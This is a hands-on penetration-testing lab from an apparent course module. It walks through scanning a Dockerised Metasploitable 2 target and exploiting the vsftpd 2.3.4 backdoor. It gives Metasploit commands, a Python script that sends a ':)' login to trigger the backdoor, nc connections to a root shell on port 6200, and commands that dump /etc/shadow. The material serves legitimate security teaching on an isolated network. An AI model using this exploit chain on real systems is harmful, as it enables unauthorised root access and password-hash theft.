Introduction and Kali — Hands-on lab
You have read the walkthrough. Now you do it again on your own. Goal: land a root shell on the victim, capture three pieces of evidence, tick the checklist. Plan for 45 to 75 minutes the first time — enough to pull the Docker images and understand the commands.
The first version of this lab used two VirtualBox virtual machines. It worked, but it required a 4 GB download, a hypervisor installed, a BIOS with virtualization enabled, and a Windows VM whose license is not always simple to obtain. Half of the students dropped out before the first command.
With Docker Desktop, a docker compose up replaces all of that. You bring the lab up in 30 seconds, tear it down in one. The pedagogical lesson is exactly the same — discover a vulnerable service, exploit it, land a privileged shell, gather evidence. We just changed which flaw we exploit: from MS17-010 (Windows, not reproducible in a container) to the vsftpd 2.3.4 backdoor (Linux, perfectly reproducible in a container).
Everything in this lab happens between two containers on your workstation, on a private Docker network (10.20.30.0/24). Not one command in this lesson should leave your PC. If you are at home behind a router, no traffic should reach it. The provided compose file takes care of this: it uses a dedicated internal bridge network. Do not change those parameters. Never point scan commands at anything other than 10.20.30.12.
What you have to hand in
By the end of the lab, you will have, inside a folder ~/labs/preuves/ within the attacker container (persisted to your host through a Docker volume):
scan-hote.txt— output of the network discovery.scan-ports.txt— full output of the all-ports Nmap scan.scan-versions.txt— output of the version scan, with vsftpd 2.3.4 identified.banniere-root.txt— output ofwhoami; hostname; id; uname -aexecuted on the target from the shell you obtained.shadow.txt— the contents of the target's/etc/shadowfile, unreadable by a regular user.mini-rapport.md— three Markdown paragraphs: situation, exploitation, impact.
These six files are your deliverable. They are also what you would have handed to a client, in miniature. Build the habit from week 1.
Definition — the proof of pwn, or what the client actually expects
A pentest report reads at three levels. The executive summary speaks to leadership and delivers a verdict on one page — five critical incidents, thirteen mediums, main exposure, priorities. The technical part lists every finding with a step-by-step reproduction, aimed at the teams who will fix them. In between, the line that decides how much trust the report gets are the pieces of evidence — the output files you attach.
A useful piece of evidence has three qualities. It is timestamped — the screenshot carries the target's clock, or the file name begins with the date. It is contextual — you see, next to the exploited flaw, what it yields when triggered, not just a stray error message. And it is reproducible — the exact command is noted next to it, in an order that lets the client's sysadmin replay the step to verify their fix.
The expression proof of pwn — literally "proof of ownership", the word pwn being born from a typo for own — refers in the jargon to the capture that shows without ambiguity that the machine is yours. On a compromised Windows, the classic is the whoami window displaying SYSTEM. On a Linux, the equivalent is whoami displaying root, complemented by the contents of /etc/shadow — a file that only root can read. Without it, your report says "I succeeded"; with it, your report proves "I succeeded".
Hardware prerequisites
| Resource | Minimum |
|---|---|
| Docker Desktop | 4.30 or newer, WSL2 enabled on Windows |
| Free RAM | 6 GB (2 for the attacker, 1 for the target, 3 for the host) |
| Free disk | 15 GB (Docker images included) |
| VT-x/AMD-V virtualization | Enabled in the BIOS/UEFI |
| Host system | Windows 10/11, macOS 12+, Linux |
Sanity-check your install:
docker --version # should print Docker version 24 or newer
docker compose version # should print Docker Compose version v2.x
docker info | grep -i "operating"
If docker info complains, Docker Desktop is not running. Open it, wait for the green icon, retry.
Definition — Docker Desktop, WSL2, and why any of this works on Windows
Docker was born on Linux, where it leverages kernel features (namespaces and cgroups) that do not exist on Windows. To run Docker on a Windows workstation, you must therefore host a Linux kernel somewhere.
Two historical solutions existed: Hyper-V (a Windows-managed Linux VM) and Docker Toolbox (a VirtualBox VM). Since 2020, Microsoft has made a third solution available to everyone: WSL2 (Windows Subsystem for Linux, version 2), a lightweight Linux kernel integrated into the system, able to boot in a second and exchange files and network with Windows without friction.
Docker Desktop for Windows uses WSL2 as its engine: when you type docker run, Docker Desktop creates a container inside the Linux kernel of WSL2, not inside Windows. That is why a Kali container, which is a Linux, works without magic on a Windows workstation: it runs in a real Linux kernel hosted by your system, invisible to you.
Practical consequence: if you mount a volume with -v ./my-folder:/data, Docker Desktop translates between the Windows file system (NTFS) and Linux (ext4). The lesson commands work exactly as if you were on native Linux.
Step 1 — Bring the lab up (5 min)
1a. Move into the lab folder
The course repository contains a labs/docker/ folder with one docker-compose.yml per module. Open a terminal at the repo root, then:
cd labs/docker/module-01-introduction
An ls should show three files: docker-compose.yml, README.fr.md, README.en.md.
If you prefer to work on a standalone copy of the labs (without cloning the whole site), the labs/docker/ subfolder can be extracted as-is — the compose files have no dependency on the rest of the repository.
1b. Start the containers
One command:
docker compose up -d
What happens in the next 2 to 5 minutes:
- Docker pulls
tleemcjr/metasploitable2(≈ 1.7 GB the first time). - Docker builds or pulls
inskillsec/kali-lab(≈ 2.5 GB the first time). - Docker creates a private
bridgenetwork namedm01-lab-net(subnet10.20.30.0/24). - Docker starts both containers with fixed IPs:
10.20.30.5for the attacker,10.20.30.12for the target.
At the end, you see:
[+] Running 3/3
✔ Network m01-lab-net Created
✔ Container m01-cible Started
✔ Container m01-attaquant Started
Definition — Docker network modes, and why bridge is the right choice here
Docker offers several network modes, whose consequences you should understand for an offensive lab.
host puts the container directly on your host's network interface: it shares your workstation's IP, its ports are your ports. Avoid this for an offensive lab — your nmap -p- would scan your own machine and the network it is connected to.
none leaves the container with no network at all. Useful for isolated file processing, useless for a lab where two containers must talk.
bridge — the default mode — creates a private virtual network to which Docker attaches the containers. This module's compose file goes further: it creates a named bridge network (m01-lab-net) with a fixed subnet (10.20.30.0/24) and fixed IPs. Two benefits: the containers see each other, and the lesson commands are copy-pasteable with no variable to adjust.
It is the Docker equivalent of VirtualBox's host-only: a network strictly local to your workstation, isolated from the rest, predictable. Always verify the isolation: docker compose exec attaquant ping -c 1 8.8.8.8 may succeed (because your host has a default route), but no lab command should target an external IP. Every scan and exploit command in this lesson targets only 10.20.30.12.
1c. Verify it is healthy
From the labs/docker/ folder (one level up):
./verifier-lab.sh module-01-introduction # bash / macOS / Linux / WSL
.\verifier-lab.ps1 module-01-introduction # PowerShell
The script should print two ✅ for the attacker and the target. If you see a ⚠️, give the target another 30 seconds to finish booting and re-run.
Another quick manual check:
docker compose ps
Both services must show Up and healthy (for the target).
1d. Enter the attacker
This is your Kali workstation for the entire lab:
docker compose exec attaquant bash
The prompt changes:
┌──(pentester㉿kali)-[~/labs]
└─$
You are in. Every command below runs in this prompt, not in your host's PowerShell or bash.
Step 2 — Create the evidence folder
From inside the attacker container:
mkdir -p ~/labs/preuves
cd ~/labs
The ~/labs/ folder inside the container is mounted onto ./attaquant-home/ on your host thanks to the volume declared in the compose. Files created here appear in real time in the attaquant-home/ folder on your host — you can open them with the editor of your choice.
Every command from here on should produce a file inside preuves/. A pentester with no output file is a fisherman with no photograph.
Step 3 — Discovery (5 min)
Find the victim without reading the compose. A real attacker does not know their target's IP: they discover it.
nmap -sn 10.20.30.0/24 -oN preuves/scan-hote.txt
-sn asks Nmap for a ping scan only: no port is tested, it just looks for who answers. On a Docker bridge network, ARP works perfectly — each running container answers with its MAC.
You should see two answers: 10.20.30.5 (yourself) and 10.20.30.12 (the target). Note the IP:
export VICTIM=10.20.30.12
echo "Target identified: $VICTIM"
Definition — why we do not trust docker-compose.yml to find the IP
On this lab, the IP is written in the compose file: you could read it instead of discovering it. But that is never the case on a real engagement. At best, the client gives you a CIDR ("our internal segment is 10.42.0.0/16"); at worst, nothing at all ("find whatever is around").
Getting into the habit of using nmap -sn — or its louder cousin arp-scan -l — from the very first lab builds a reflex that stays with you: reconnaissance starts with network discovery, not with reading the documents you were handed. It is also why the module 04 scans reuse the same tool on larger subnets. We build chains of habits, not collections of tricks.
Step 4 — Scan (10 min)
Ports:
nmap -sS -Pn -p- --min-rate 2000 $VICTIM -oN preuves/scan-ports.txt
-p- asks for all 65,535 ports. On Metasploitable 2 in Docker, this scan takes 15 to 30 seconds. You should see a long list — ftp, ssh, telnet, smtp, http, netbios, microsoft-ds, mysql, postgresql, tomcat…
Versions (adjust the port list to what the first scan found):
nmap -sV -p 21,22,23,25,80,139,445,3306,5432,8180 $VICTIM -oN preuves/scan-versions.txt
Look at the line for port 21:
21/tcp open ftp vsftpd 2.3.4
This line drives the whole module. vsftpd 2.3.4 is an FTP server historically compromised in July 2011. Nmap tells you so; the rest is only about taking advantage of it.
grep -E "vsftpd|smb|mysql" preuves/scan-versions.txt
If you do not see vsftpd 2.3.4 in the output: either the target has not finished booting (wait 30 seconds and retry), or a different container is running (read docker compose ps again).
Definition — vsftpd 2.3.4, the story of a backdoor in an open source project
vsftpd (Very Secure FTP Daemon) is an FTP server written by Chris Evans, a security engineer at Google, and long considered the reference FTP server on Linux. It is used by Red Hat, Debian, Ubuntu, several hosting providers. Its reputation comes from its minimalistic code and its constant auditing.
In July 2011, an attacker got temporary access to the official website vsftpd.beasts.org and replaced the downloadable archive of version 2.3.4 with a modified variant. The source code adds a backdoor: if a user sends a login name that ends with the two characters :) (a smiley), the server opens a root shell on port 6200/TCP. No password. No trace in the logs.
Chris Evans discovered the tampering four days later, pulled the archive, and published an advisory. But between the malicious upload and the discovery, tens of thousands of installations worldwide had pulled the trapped version. Some were still running years later.
The incident became a textbook case for three reasons. First because it shows that a project irreproachable in its development process can be compromised downstream, on the distribution chain. Second because the backdoor was trivially triggered — no need for a sophisticated exploit, just a smiley in a login. Third because it kicked off a serious conversation on the need to sign published archives and verify those signatures before installing.
That is the backdoor you are about to trigger in two minutes. This is not a story, this is CVE-2011-2523.
Step 5 — Exploitation (15 min)
Two methods. Do both: the second is short, and watching the backdoor at work by hand is worth the detour.
5a. The Metasploit way (clean)
Initialize the Metasploit database once:
setup-lab msf-init
Then launch the console:
msfconsole -q
In the console:
use exploit/unix/ftp/vsftpd_234_backdoor
set RHOSTS 10.20.30.12
run
Wait for the Command shell session 1 opened line. Once inside, you are root on the target. Run:
shell
whoami
hostname
id
uname -a
exit
sessions -k 1
exit
5b. The manual way (elegant)
Still inside the attacker container:
# 1. Connect to FTP and trigger the backdoor
python3 << 'EOF'
import socket
ftp = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
ftp.connect(("10.20.30.12", 21))
print(ftp.recv(1024).decode(), end="")
ftp.sendall(b"USER hacker:)\r\n")
print(ftp.recv(1024).decode(), end="")
ftp.sendall(b"PASS anything\r\n")
print("(the server will not answer — that is normal, it opens port 6200)")
ftp.close()
EOF
# 2. Connect to the root shell on port 6200
nc 10.20.30.12 6200
You are inside a shell that shows no prompt. Type whoami and press Enter: the target answers root. Type hostname: metasploitable. You are root on the target with no password, in three lines of Python.
Once in the shell, capture your evidence — without leaving it.
5c. Capture the evidence
In the root shell on the target:
whoami > /tmp/preuve.txt
hostname >> /tmp/preuve.txt
id >> /tmp/preuve.txt
uname -a >> /tmp/preuve.txt
date >> /tmp/preuve.txt
cat /tmp/preuve.txt
Then read /etc/shadow:
cat /etc/shadow > /tmp/shadow.txt
Leave the root shell on the target:
exit
Back on the Kali shell, pull the files from the target. Re-trigger the backdoor and issue two remote reads:
python3 << 'EOF'
import socket, time
ftp = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
ftp.connect(("10.20.30.12", 21))
ftp.recv(1024)
ftp.sendall(b"USER lecture:)\r\n")
ftp.recv(1024)
ftp.sendall(b"PASS x\r\n")
time.sleep(1)
ftp.close()
EOF
(echo "cat /tmp/preuve.txt"; sleep 1; echo "exit") | nc 10.20.30.12 6200 > preuves/banniere-root.txt
python3 << 'EOF'
import socket, time
ftp = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
ftp.connect(("10.20.30.12", 21))
ftp.recv(1024)
ftp.sendall(b"USER dump:)\r\n")
ftp.recv(1024)
ftp.sendall(b"PASS x\r\n")
time.sleep(1)
ftp.close()
EOF
(echo "cat /etc/shadow"; sleep 1; echo "exit") | nc 10.20.30.12 6200 > preuves/shadow.txt
Verify:
cat preuves/banniere-root.txt # should contain "root", "metasploitable", "uid=0"
cat preuves/shadow.txt # should contain "root:$1$..." and "msfadmin:$1$..."
Definition — why /etc/shadow is the best proof of real root
On a Unix system, passwords are not stored in clear text. They are hashed and kept in two files: /etc/passwd, which lists user accounts and their home directories, readable by everyone; and /etc/shadow, which holds the password hashes, readable by root only.
That separation dates from the 1980s. Before then, the hash lived in /etc/passwd, which let any user on the system grab it and try offline brute force. Moving hashes to /etc/shadow turned reading the file into a proof of privilege — if you can read it, you are root, or you have found a privilege escalation.
In a pentest report, attaching the first lines of /etc/shadow does two things. First, it removes any ambiguity about the privilege level reached. Second, it hands the client material for an audit: they can check the strength of their account passwords, spot the ones using obsolete algorithms ($1$ for MD5, $5$ for SHA-256, $6$ for SHA-512, $y$ for yescrypt), and force a rotation.
A word of caution: in a real report, never share that file in the clear over email. Encrypt it, send it over an agreed channel, destroy your copy at the end of the engagement. This kind of file is a bomb: in your hands it proves your work, in someone else's it compromises the whole company.
Step 6 — The mini-report (20 min)
On your host (not in the container — more comfortable), open labs/docker/module-01-introduction/attaquant-home/preuves/mini-rapport.md with your favorite editor and fill in these sections. Do not exceed one page.
# Mini-report — Week 1
## Situation
Two Docker containers on an isolated bridge network (10.20.30.0/24).
- Attacker: Kali Linux (inskillsec/kali-lab) — 10.20.30.5
- Target: Metasploitable 2 (tleemcjr/metasploitable2) — 10.20.30.12
## Exploitation
The FTP service (port 21) runs vsftpd 2.3.4, a version known to carry a
backdoor since July 2011 (CVE-2011-2523). A username ending with the two
characters `:)` triggers the opening of a root shell without authentication
on port 6200/TCP.
The `exploit/unix/ftp/vsftpd_234_backdoor` module from Metasploit automates
the trigger and the connection. The same exploitation is reproducible in
three lines of Python and one `nc`.
Attached evidence:
- `scan-versions.txt` — Nmap explicitly identifies vsftpd 2.3.4.
- `banniere-root.txt` — output of `whoami; hostname; id; uname -a` executed
on the target, proves the root account.
- `shadow.txt` — contents of the target's /etc/shadow, readable only by root.
## Impact
Full compromise of the system (uid=0). Extraction of local password hashes,
exploitable offline. In a production environment this compromise would allow
reading any hosted data, silently modifying services, and installing
persistence.
## Recommendations
1. Remove vsftpd 2.3.4 everywhere. No 2.3.x version is supported anymore;
move to 3.0.5 (latest stable) or to another modern FTP server.
2. Verify SHA-256 hashes of downloaded archives before installing. The 2011
trapped archive had a different hash than the legitimate one; the check
would have caught it immediately.
3. Forbid software installation from unsigned repositories. Every modern
Linux distribution offers GPG-signed packages.
4. Put FTP traffic behind a VPN or replace it with SFTP. Cleartext FTP is
in any case unfit for a modern environment.
This layout — Situation, Exploitation, Impact, Recommendations — is the one we will refine in module 12. Take up the habit now.
Step 7 — Tear it down
Back in your host shell, from labs/docker/module-01-introduction/:
docker compose down -v
downstops and removes both containers.-valso removes anonymous volumes. Your evidence inattaquant-home/stays on disk: that folder is an explicit bind mount, not an anonymous volume.
Confirm:
docker ps # should be empty (or not contain m01-*)
docker network ls | grep m01 # should be empty
The lab is torn down. Next time, docker compose up -d brings it back up in 30 seconds since every image is already cached.
End-of-lab checklist
- Docker Desktop running,
docker infoanswers. -
docker compose up -dstarted both containers,docker compose psshowsUpandhealthy. -
verifier-lab.sh(or.ps1) prints two ✅. - Folder
~/labs/preuves/inside the container holds the six files listed at the top of this page. - Port 6200 on the target answered a
ncafter the backdoor trigger. -
banniere-root.txtcontainsrootanduid=0. -
shadow.txtcontains several lines starting with an account and a$...hash. -
mini-rapport.mdwritten, one page, four sections. -
docker compose down -vcleaned the containers up.
All ticked? You just ran, on your own, a full attack chain: discovery → scan → version identification → exploitation → proof of pwn → report. That is the skeleton of every engagement of the rest of your career.
What breaks, and how to move on
| Symptom | Likely cause | What you do |
|---|---|---|
docker compose up: Cannot connect to Docker daemon | Docker Desktop not running | Start Docker Desktop, wait for the green icon. |
metasploitable2 pull very slow | 1.7 GB image, slow link | Wait. Once cached, next starts are instant. |
nmap: target does not answer | Target has not finished services.sh | Wait another 30 s; docker compose logs cible should print services running. |
Port 21 open but no vsftpd 2.3.4 | Another container runs in its place | docker compose down -v, then a clean docker compose up -d. |
Trigger :) has no effect | You are connected to a different FTP | Check nc -zv 10.20.30.12 21, check the exact user (hacker:)). |
nc 10.20.30.12 6200 refuses the connection | Backdoor did not open the port | Re-trigger with a different login — a login already used may not re-trigger. |
| Root shell does not answer | Shell is there but shows no prompt | Type whoami and press Enter. root confirms the session. |
Cannot read /etc/shadow despite root | Container anti-cache | docker compose restart cible, retry the trigger. |
Ctrl+C stalls msfconsole | Cleanup in progress | Wait 10 seconds. |
What you take away from this lab
- A lab reflex: two containers, a closed network, an evidence folder versioned inside a volume.
- A tool chain we will replay 12 times:
nmap -sn → nmap -sS → nmap -sV → msfconsole(ornc+python). - The layout of the mini-report: Situation / Exploitation / Impact / Recommendations.
- The physical feeling of what it means to compromise a machine — without downloading 4 GB of VM, without a Windows license, without a BIOS to reconfigure. That is what will keep you going.
Ready? On to the module quiz.